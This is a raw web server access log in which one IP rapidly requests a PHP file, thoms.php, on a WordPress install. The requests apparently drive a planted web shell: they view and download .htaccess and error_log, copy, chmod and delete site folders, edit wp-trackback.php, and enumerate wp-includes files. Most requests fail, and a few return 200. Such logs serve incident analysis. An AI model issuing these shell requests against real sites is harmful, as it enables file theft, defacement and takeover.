45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=.htaccess HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=&view=error_log HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=mah.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=besth2o.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bogroup.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=broadweb.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=wp-content&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=wp-content-20260912023544&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=bfl.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=big-wife.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=biotaiwan.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bogroup.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=error_log&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:29 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?chmod=betcity.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?p=bft.com.tw HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wp-content-20260912023544&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=mah.php&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=wordpress-6.6.2-zh_TWPlus.zip&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=ba-guo.com-20260912023525&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?del=ba-guo.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=besth2o.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?copy=bioway88.com.tw&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=.htaccess&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/thoms.php?dl=error_log&p= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-comment-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme-templates.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/?ND= HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/widgets/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /thoms.php?edit=wp-trackback.php&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /thoms.php?edit=wp-trackback.php&env=ace&p=wordpress-6.6.2-zh_TW HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-meta-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-recovery-mode-email-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22224 "https://163.245.207.76:443/thoms.php?edit=wp-trackback.php&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/kses.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/shortcodes.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22223 "https://163.245.207.76:443/thoms.php?edit=wp-trackback.php&env=ace&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-block-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/SimplePie/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-page.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-dependency.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-recovery-mode-key-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-editor.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-feed-cache-transient.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-locale.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/feed-rdf.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/update.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-patterns/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/author-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/blocks.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-roles.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-site.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-load.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/pomo/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/html-api/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:30 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/images/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-bindings.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/error-protection.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/pluggable-deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/template-canvas.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/customize/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/php-compat/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-patterns.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-recovery-mode-link-service.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wpdb.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/version.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-comment.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-http-proxy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-user-query.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-widget-factory.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/default-filters.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/fonts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/taxonomy.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class.wp-scripts.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/post.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/js/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-walker-page-dropdown.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-list-util.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-locale-switcher.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/https-migration.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/theme-i18n.json HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/block-supports/ HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-pop3.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/cron.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-functions.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-oembed.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/class-wp-customize-setting.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/load.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/robots-template.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:31:31 -0400] "GET /wordpress-6.6.2-zh_TW/wp-includes/ms-deprecated.php HTTP/1.1" 404 1251 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
